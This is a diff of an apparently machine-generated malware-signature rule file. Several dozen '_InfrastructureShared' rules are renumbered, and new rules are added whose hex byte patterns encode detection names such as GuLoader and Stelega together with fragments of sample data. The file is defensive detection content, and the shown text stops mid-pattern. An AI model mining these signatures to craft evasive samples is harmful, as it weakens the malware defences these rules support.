_InfrastructureShared_17525{ +rule _InfrastructureShared_18670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -209458,7 +223381,7 @@ rule _InfrastructureShared_17525{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*12900+(#a_00_2 & 1)*50+(#a_00_3 & 1)*49+(#a_00_4 & 1)*82) >=6 } -rule _InfrastructureShared_17526{ +rule _InfrastructureShared_18671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -209473,7 +223396,7 @@ rule _InfrastructureShared_17526{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*-32466+(#a_55_2 & 1)*21343+(#a_26_3 & 1)*3859+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_17527{ +rule _InfrastructureShared_18672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -209489,7 +223412,7 @@ rule _InfrastructureShared_17527{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*17005+(#a_41_2 & 1)*14648+(#a_45_3 & 1)*17715+(#a_47_4 & 1)*12851+(#a_6b_5 & 1)*28532+(#a_74_6 & 1)*24940) >=8 } -rule _InfrastructureShared_17528{ +rule _InfrastructureShared_18673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -209506,7 +223429,7 @@ rule _InfrastructureShared_17528{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*23653+(#a_6c_2 & 1)*24948+(#a_6e_3 & 1)*27247+(#a_66_4 & 1)*25442+(#a_69_5 & 1)*30311+(#a_74_6 & 1)*28499+(#a_69_7 & 1)*23666) >=8 } -rule _InfrastructureShared_17529{ +rule _InfrastructureShared_18674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0d 00 21 " @@ -209527,7 +223450,7 @@ rule _InfrastructureShared_17529{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*27765+(#a_00_2 & 1)*27756+(#a_73_3 & 1)*14647+(#a_52_4 & 1)*27716+(#a_65_5 & 1)*26996+(#a_2e_6 & 1)*23673+(#a_01_7 & 1)*29811+(#a_00_8 & 1)*26724+(#a_00_10 & 1)*87+(#a_00_11 & 1)*68+(#a_00_12 & 1)*10) >=8 } -rule _InfrastructureShared_17530{ +rule _InfrastructureShared_18675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -209542,7 +223465,7 @@ rule _InfrastructureShared_17530{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*25970+(#a_73_2 & 1)*17710+(#a_41_4 & 1)*8448+(#a_55_6 & 1)*30720+(#a_00_8 & 1)*101) >=9 } -rule _InfrastructureShared_17531{ +rule _InfrastructureShared_18676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -209553,7 +223476,7 @@ rule _InfrastructureShared_17531{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*85) >=10 } -rule _InfrastructureShared_17532{ +rule _InfrastructureShared_18677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -209571,7 +223494,7 @@ rule _InfrastructureShared_17532{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_32_7 & 1)*0+(#a_6c_8 & 1)*24948) >=10 } -rule _InfrastructureShared_17533{ +rule _InfrastructureShared_18678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -209589,7 +223512,7 @@ rule _InfrastructureShared_17533{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*16695+(#a_72_2 & 1)*16741+(#a_63_3 & 1)*25133+(#a_79_4 & 1)*19301+(#a_4a_5 & 1)*-32485+(#a_2e_6 & 1)*28521+(#a_01_7 & 1)*14592+(#a_65_8 & 1)*28257) >=10 } -rule _InfrastructureShared_17534{ +rule _InfrastructureShared_18679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -209607,7 +223530,7 @@ rule _InfrastructureShared_17534{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28277+(#a_34_3 & 1)*9217+(#a_3d_4 & 1)*15677+(#a_6e_5 & 1)*27247+(#a_74_6 & 1)*29793+(#a_01_7 & 1)*30291+(#a_6e_8 & 1)*22330+(#a_72_9 & 1)*385) >=10 } -rule _InfrastructureShared_17535{ +rule _InfrastructureShared_18680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -209626,7 +223549,7 @@ rule _InfrastructureShared_17535{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28265+(#a_01_2 & 1)*13618+(#a_00_3 & 1)*26990+(#a_68_4 & 1)*385+(#a_74_5 & 1)*29742+(#a_65_6 & 1)*17772+(#a_72_7 & 1)*17244+(#a_6f_8 & 1)*28265+(#a_01_9 & 1)*6656) >=10 } -rule _InfrastructureShared_17536{ +rule _InfrastructureShared_18681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -209643,7 +223566,7 @@ rule _InfrastructureShared_17536{ ((#a_4c_0 & 1)*21539+(#a_77_1 & 1)*26223+(#a_01_2 & 1)*28492+(#a_23_4 & 1)*9+(#a_00_5 & 1)*21294+(#a_72_6 & 1)*25376+(#a_62_7 & 1)*25701+(#a_68_8 & 1)*29807) >=10 } -rule _InfrastructureShared_17537{ +rule _InfrastructureShared_18682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 09 00 21 " @@ -209660,7 +223583,7 @@ rule _InfrastructureShared_17537{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*8448+(#a_6c_2 & 1)*29811+(#a_6b_3 & 1)*24904+(#a_00_4 & 1)*41+(#a_00_5 & 1)*116+(#a_00_6 & 1)*99+(#a_31_7 & 1)*30240) >=101 } -rule _InfrastructureShared_17538{ +rule _InfrastructureShared_18683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -209672,7 +223595,7 @@ rule _InfrastructureShared_17538{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_00_3 & 1)*119) >=400 } -rule _InfrastructureShared_17539{ +rule _InfrastructureShared_18684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -209683,7 +223606,7 @@ rule _InfrastructureShared_17539{ ((#a_48_0 & 1)*12067+(#a_45_1 & 1)*27759) >=1 } -rule _InfrastructureShared_17540{ +rule _InfrastructureShared_18685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -209696,7 +223619,7 @@ rule _InfrastructureShared_17540{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26222+(#a_00_3 & 1)*110+(#a_7a_4 & 1)*24922) >=1 } -rule _InfrastructureShared_17541{ +rule _InfrastructureShared_18686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -209707,7 +223630,7 @@ rule _InfrastructureShared_17541{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-14029) >=2 } -rule _InfrastructureShared_17542{ +rule _InfrastructureShared_18687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -209717,7 +223640,7 @@ rule _InfrastructureShared_17542{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_17543{ +rule _InfrastructureShared_18688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -209728,7 +223651,7 @@ rule _InfrastructureShared_17543{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46) >=2 } -rule _InfrastructureShared_17544{ +rule _InfrastructureShared_18689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -209739,7 +223662,7 @@ rule _InfrastructureShared_17544{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12297) >=3 } -rule _InfrastructureShared_17545{ +rule _InfrastructureShared_18690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -209750,7 +223673,7 @@ rule _InfrastructureShared_17545{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*0) >=3 } -rule _InfrastructureShared_17546{ +rule _InfrastructureShared_18691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -209761,7 +223684,7 @@ rule _InfrastructureShared_17546{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*61) >=3 } -rule _InfrastructureShared_17547{ +rule _InfrastructureShared_18692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -209778,7 +223701,7 @@ rule _InfrastructureShared_17547{ ((#a_46_0 & 1)*16675+(#a_3b_1 & 1)*5916+(#a_39_2 & 1)*12378+(#a_09_3 & 1)*14637+(#a_0d_4 & 1)*22016+(#a_03_5 & 1)*-28473+(#a_c7_6 & 1)*9504+(#a_20_7 & 1)*29699) >=3 } -rule _InfrastructureShared_17548{ +rule _InfrastructureShared_18693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -209791,7 +223714,7 @@ rule _InfrastructureShared_17548{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*29298+(#a_1f_2 & 1)*7967+(#a_3a_3 & 1)*28527) >=6 } -rule _InfrastructureShared_17549{ +rule _InfrastructureShared_18694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -209804,7 +223727,7 @@ rule _InfrastructureShared_17549{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2) >=6 } -rule _InfrastructureShared_17550{ +rule _InfrastructureShared_18695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -209820,7 +223743,7 @@ rule _InfrastructureShared_17550{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28508+(#a_64_2 & 1)*28535+(#a_65_3 & 1)*25710+(#a_4a_4 & 1)*11621+(#a_6f_5 & 1)*29552+(#a_41_7 & 1)*8448) >=8 } -rule _InfrastructureShared_17551{ +rule _InfrastructureShared_18696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -209840,7 +223763,7 @@ rule _InfrastructureShared_17551{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*27236+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*-100+(#a_80_7 & 1)*-100+(#a_80_8 & 1)*-100+(#a_33_9 & 1)*0+(#a_06_10 & 1)*5675) >=8 } -rule _InfrastructureShared_17552{ +rule _InfrastructureShared_18697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -209852,7 +223775,7 @@ rule _InfrastructureShared_17552{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2060+(#a_00_4 & 1)*-17038) >=10 } -rule _InfrastructureShared_17553{ +rule _InfrastructureShared_18698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -209870,7 +223793,7 @@ rule _InfrastructureShared_17553{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*29797+(#a_75_2 & 1)*25939+(#a_00_5 & 1)*1+(#a_53_6 & 1)*19529+(#a_74_7 & 1)*12153+(#a_00_8 & 1)*16759+(#a_65_9 & 1)*384+(#a_65_10 & 1)*27756) >=10 } -rule _InfrastructureShared_17554{ +rule _InfrastructureShared_18699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 0c 00 0b 00 21 " @@ -209890,7 +223813,7 @@ rule _InfrastructureShared_17554{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*30561+(#a_65_2 & 1)*17264+(#a_73_3 & 1)*28516+(#a_00_4 & 1)*257+(#a_06_5 & 1)*5082+(#a_00_6 & 1)*257+(#a_01_7 & 1)*-28632+(#a_90_8 & 1)*2560+(#a_65_9 & 1)*29301+(#a_65_10 & 1)*17004) >=12 } -rule _InfrastructureShared_17555{ +rule _InfrastructureShared_18700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0b 00 21 " @@ -209910,7 +223833,7 @@ rule _InfrastructureShared_17555{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10250+(#a_65_2 & 1)*17004+(#a_66_3 & 1)*400+(#a_01_4 & 1)*32137+(#a_90_5 & 1)*-29945+(#a_11_6 & 1)*-29240+(#a_65_7 & 1)*8236+(#a_79_8 & 1)*24941+(#a_53_9 & 1)*14958+(#a_46_10 & 1)*11582) >=20 } -rule _InfrastructureShared_17556{ +rule _InfrastructureShared_18701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -209921,7 +223844,7 @@ rule _InfrastructureShared_17556{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*400) >=2 } -rule _InfrastructureShared_17557{ +rule _InfrastructureShared_18702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -209934,7 +223857,7 @@ rule _InfrastructureShared_17557{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*28789+(#a_75_2 & 1)*25939+(#a_6f_3 & 1)*385) >=3 } -rule _InfrastructureShared_17558{ +rule _InfrastructureShared_18703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -209947,7 +223870,7 @@ rule _InfrastructureShared_17558{ ((#a_54_0 & 1)*18467+(#a_3e_1 & 1)*15917+(#a_30_2 & 1)*14402+(#a_44_3 & 1)*11569) >=4 } -rule _InfrastructureShared_17559{ +rule _InfrastructureShared_18704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -209959,7 +223882,7 @@ rule _InfrastructureShared_17559{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*6148+(#a_36_2 & 1)*25389) >=4 } -rule _InfrastructureShared_17560{ +rule _InfrastructureShared_18705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -209971,7 +223894,7 @@ rule _InfrastructureShared_17560{ ((#a_54_0 & 1)*18467+(#a_16_2 & 1)*23817+(#a_13_3 & 1)*0) >=4 } -rule _InfrastructureShared_17561{ +rule _InfrastructureShared_18706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -209984,7 +223907,7 @@ rule _InfrastructureShared_17561{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*116+(#a_00_4 & 1)*114+(#a_00_6 & 1)*100) >=4 } -rule _InfrastructureShared_17562{ +rule _InfrastructureShared_18707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -210000,7 +223923,7 @@ rule _InfrastructureShared_17562{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*19268+(#a_46_2 & 1)*21249+(#a_00_4 & 1)*110+(#a_45_5 & 1)*8993+(#a_3a_6 & 1)*25957+(#a_54_7 & 1)*28257) >=4 } -rule _InfrastructureShared_17563{ +rule _InfrastructureShared_18708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0f 00 21 " @@ -210022,7 +223945,7 @@ rule _InfrastructureShared_17563{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108+(#a_6b_3 & 1)*29801+(#a_73_4 & 1)*8704+(#a_78_5 & 1)*25637+(#a_70_6 & 1)*24915+(#a_00_8 & 1)*85+(#a_09_9 & 1)*14637+(#a_73_10 & 1)*30063+(#a_90_11 & 1)*26669+(#a_50_12 & 1)*-32493+(#a_53_13 & 1)*24932+(#a_2f_14 & 1)*13166) >=4 } -rule _InfrastructureShared_17564{ +rule _InfrastructureShared_18709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -210036,7 +223959,7 @@ rule _InfrastructureShared_17564{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_00_2 & 1)*103+(#a_4c_3 & 1)*21838+(#a_65_4 & 1)*25439) >=5 } -rule _InfrastructureShared_17565{ +rule _InfrastructureShared_18710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -210049,7 +223972,7 @@ rule _InfrastructureShared_17565{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*8304+(#a_00_2 & 1)*2448+(#a_61_3 & 1)*281) >=6 } -rule _InfrastructureShared_17566{ +rule _InfrastructureShared_18711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -210063,7 +223986,7 @@ rule _InfrastructureShared_17566{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28015+(#a_67_2 & 1)*20572+(#a_46_3 & 1)*16675+(#a_00_4 & 1)*46) >=6 } -rule _InfrastructureShared_17567{ +rule _InfrastructureShared_18712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -210080,7 +224003,7 @@ rule _InfrastructureShared_17567{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_70_3 & 1)*26881+(#a_61_4 & 1)*27758+(#a_74_5 & 1)*26991+(#a_69_6 & 1)*26972+(#a_72_7 & 1)*12082+(#a_00_8 & 1)*65) >=8 } -rule _InfrastructureShared_17568{ +rule _InfrastructureShared_18713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -210091,12 +224014,12 @@ rule _InfrastructureShared_17568{ $a_79_3 = {74 49 6e 6a 65 63 74 2e 52 48 41 4a 21 4d 54 42 00 02 00 1f 03 50 45 00 00 4c 01 05 90 01 11 0b 01 0e 28 00 4a 04 00 00 60 05 00 00 00 00 00 3e e3 01 90 00 01 00 58 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 } //17199 $a_00_4 = {75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 03 00 1e 00 42 00 54 00 41 00 47 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 2e 00 65 00 78 00 65 00 01 00 28 00 72 00 6f } //92 $a_00_6 = {65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 01 00 2a 00 46 00 52 00 4f 00 4d 00 20 00 41 00 6e 00 74 00 69 00 56 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 02 00 05 01 52 41 4e 44 38 } //92 - $a_34_7 = {00 0b 00 0b 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 74 65 6c 65 67 61 2e 52 49 41 21 4d 54 42 00 01 00 4c 01 4b 56 4c 43 20 6d 65 64 69 61 20 70 6c 61 79 65 72 2c 20 56 69 64 65 6f 4c 41 4e 20 61 6e 64 20 78 32 36 34 20 61 72 65 20 72 65 67 69 73 74 65 72 65 64 20 74 72 61 64 65 6d 61 72 6b 73 20 66 72 6f 6d 20 56 69 64 65 6f 4c 41 4e 0a 00 3b 01 72 } //0 + $a_34_7 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4f 30 31 21 4d 54 42 00 01 00 1c 81 01 79 61 63 68 74 73 77 6f 6d 65 6e 5c 43 65 6e 74 72 65 72 5c 62 72 64 73 74 72 75 70 01 00 25 81 01 5c 73 74 61 6c 64 66 6f 64 72 65 74 5c 62 72 6e 65 69 6e 73 74 69 74 75 74 69 6f 6e 65 72 6e 65 73 2e 7a 69 } //0 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30789+(#a_65_2 & 1)*24933+(#a_79_3 & 1)*17199+(#a_00_4 & 1)*92+(#a_00_6 & 1)*92+(#a_34_7 & 1)*0) >=9 } -rule _InfrastructureShared_17569{ +rule _InfrastructureShared_18714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -210111,7 +224034,44 @@ rule _InfrastructureShared_17569{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1+(#a_00_2 & 1)*3+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_01_5 & 1)*2) >=10 } -rule _InfrastructureShared_17570{ +rule _InfrastructureShared_18715{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4f 30 31 21 4d 54 42 00 01 00 1c 81 01 79 61 63 68 74 73 77 6f 6d 65 6e 5c 43 65 6e 74 72 65 72 5c 62 72 64 73 74 72 75 70 01 00 25 81 01 5c 73 74 61 6c 64 66 6f 64 72 65 74 } //18467 + $a_6e_1 = {69 6e 73 74 69 74 75 74 69 6f 6e 65 72 6e 65 73 2e 7a 69 70 01 00 10 81 01 50 61 6c 65 6f 70 73 79 63 68 69 63 2e 6a 70 67 01 00 15 81 01 50 6c 61 64 65 73 70 69 6c 6c 65 72 65 6e 73 35 32 2e 64 79 73 01 00 0e 81 01 53 74 61 72 63 68 65 64 6c 79 2e 6a 70 67 01 00 13 81 01 5c 6b 69 6c 6f 63 79 63 6c 65 5c 52 65 65 73 74 69 6e 67 01 00 0e 81 } //25180 + $a_6f_2 = {74 65 6c 73 65 73 2e 6a 70 67 01 00 16 81 01 68 79 72 65 76 6f 67 6e 73 63 68 61 75 66 66 72 65 72 2e 64 65 66 01 00 0f 81 01 72 61 64 69 6c 6f 67 69 73 6b 65 2e 62 75 63 01 00 19 81 01 64 64 73 64 6d 74 65 73 5c 55 6e 69 6e 73 74 61 6c 6c 5c 6e 75 73 65 6e 65 00 00 78 34 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 } //25089 + $a_6e_3 = {57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 59 21 4d 54 42 00 01 00 1e 81 01 5c 73 6c 61 67 74 6f 66 72 65 74 5c 4f 6c 69 70 72 61 6e 63 65 5c 65 74 68 65 6e 6f 69 64 01 00 15 81 01 41 6b 6b 75 6d 75 6c 61 74 69 6f 6e 65 72 6e 65 73 2e 6a 70 67 01 00 10 81 01 45 6d 62 72 6f 74 68 65 } //27247 + $a_64_4 = {69 6e 69 01 00 11 81 01 48 75 6d 61 6e 69 73 65 72 69 6e 67 73 2e 65 72 75 01 00 12 81 01 55 6e 64 65 72 72 65 74 74 65 72 6e 65 73 2e 74 78 74 01 00 14 81 01 61 6e 67 72 65 62 73 73 74 79 72 6b 65 72 6e 65 2e 69 6e 69 01 00 11 81 01 61 75 74 6f 72 69 73 65 72 65 6e 64 65 2e 74 6f 72 01 00 0f 81 01 62 } //27756 + $a_67_5 = {6c 74 65 72 73 2e 6a 70 67 01 00 23 81 01 5c 6b 61 6c 65 6e 64 65 72 69 6e 66 6f 72 6d 61 74 69 6f 6e 65 72 6e 65 73 5c 41 62 6f 72 74 2e 69 6e 69 01 00 18 81 01 5c 61 70 70 61 73 73 69 6f 6e 61 74 6f 5c 66 75 67 75 65 64 2e 62 69 6e 00 00 78 34 01 00 0b 00 0b 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 } //29285 + $a_65_6 = {61 2e 52 49 41 21 4d 54 42 00 01 00 4c 01 4b 56 4c 43 20 6d 65 64 69 61 20 70 6c 61 79 65 72 2c 20 56 69 64 65 6f 4c 41 4e 20 61 6e 64 20 78 32 36 34 20 61 72 65 20 72 65 67 69 73 74 65 72 65 64 20 74 72 61 64 65 6d 61 72 6b 73 20 66 72 6f 6d 20 56 69 64 65 6f 4c 41 4e 0a 00 3b 01 72 a5 00 00 70 a2 11 0e 17 72 b5 00 00 70 } //25972 + $a_18_7 = {c5 00 00 70 a2 11 0e 19 72 dd 00 00 70 a2 } //4514 + $a_72_8 = {00 00 70 a2 11 0e 1b 72 ff 00 00 70 a2 11 0e 1c 72 0f 01 00 70 05 00 1c 01 62 } //3601 + $a_55_9 = {43 63 77 79 5a 4f 54 49 77 70 4a 59 4a 7a 52 48 69 74 45 4d 77 65 05 00 1c 01 6a 73 7a 52 75 4d 6d 52 58 71 4f 65 45 49 59 65 61 67 4a 75 59 59 59 6b 44 58 79 41 05 00 1d 01 6b 75 61 45 47 67 42 64 43 64 50 46 53 41 6c 73 6a 6f 45 74 56 55 78 70 6c 78 63 59 42 05 00 1c 01 4d 52 7a 57 4d 6e 67 61 6f 4d 6b } //18503 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25180+(#a_6f_2 & 1)*25089+(#a_6e_3 & 1)*27247+(#a_64_4 & 1)*27756+(#a_67_5 & 1)*29285+(#a_65_6 & 1)*25972+(#a_18_7 & 1)*4514+(#a_72_8 & 1)*3601+(#a_55_9 & 1)*18503) >=10 + +} +rule _InfrastructureShared_18716{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 59 21 4d 54 42 00 01 00 1e 81 01 5c 73 6c 61 67 74 6f 66 72 65 74 5c 4f 6c 69 70 72 61 6e 63 65 5c 65 74 68 65 6e 6f 69 64 01 00 15 81 01 41 6b 6b 75 6d 75 6c 61 74 69 6f 6e } //18467 + $a_65_1 = {2e 6a 70 67 01 00 10 81 01 45 6d 62 72 6f 74 68 65 6c 6c 65 64 2e 69 6e 69 01 00 11 81 01 48 75 6d 61 6e 69 73 65 72 69 6e 67 73 2e 65 72 75 01 00 12 81 01 55 6e 64 65 72 72 65 74 74 65 72 6e 65 73 2e 74 78 74 01 00 14 81 01 61 6e 67 72 65 62 73 73 74 79 72 6b 65 72 6e 65 2e 69 6e 69 01 00 11 81 01 61 75 74 6f 72 69 73 65 72 65 } //29285 + $a_2e_2 = {6f 72 01 00 0f 81 01 62 65 72 67 67 79 6c 74 65 72 73 2e 6a 70 67 01 00 23 81 01 5c 6b 61 6c 65 6e 64 65 72 69 6e 66 6f 72 6d 61 74 69 6f 6e 65 72 6e 65 73 5c 41 62 6f 72 74 2e 69 6e 69 01 00 18 81 01 5c 61 70 70 61 73 73 69 6f 6e 61 74 6f 5c 66 75 67 75 65 64 2e 62 69 6e 00 00 78 34 01 00 0b 00 0b 00 } //25710 + $a_23_3 = {53 54 52 3a 4d 53 49 4c 2f 53 74 65 6c 65 67 61 2e 52 49 41 21 4d 54 42 00 01 00 4c 01 4b 56 4c 43 } //6 + $a_64_4 = {61 20 70 6c 61 79 65 72 2c 20 56 69 64 65 6f 4c 41 4e 20 61 6e 64 20 78 32 36 34 20 61 72 65 20 72 65 67 69 73 74 65 72 65 64 20 74 72 61 64 65 6d 61 72 6b 73 20 66 72 6f 6d 20 56 69 64 65 6f 4c 41 4e 0a 00 3b 01 72 a5 00 00 70 a2 11 0e 17 72 b5 00 00 70 a2 11 0e 18 72 c5 00 00 70 a2 11 0e 19 72 dd 00 } //27936 + $a_11_5 = {1a 72 ef 00 00 70 a2 11 0e 1b 72 ff 00 00 70 a2 11 0e 1c 72 0f 01 00 70 05 00 1c 01 62 47 48 66 55 4e 43 63 77 79 5a 4f 54 49 77 70 4a 59 4a 7a 52 48 69 74 45 4d 77 65 05 00 1c 01 6a 73 7a 52 75 4d 6d 52 58 71 4f 65 45 49 59 65 61 67 4a 75 59 59 59 6b 44 58 79 41 05 00 1d 01 6b 75 61 45 47 67 42 64 43 64 50 46 53 41 6c 73 6a 6f 45 74 56 55 78 70 6c 78 63 59 42 05 00 1c 01 4d 52 7a 57 4d 6e 67 61 6f 4d 6b 6b 6a 69 53 79 67 63 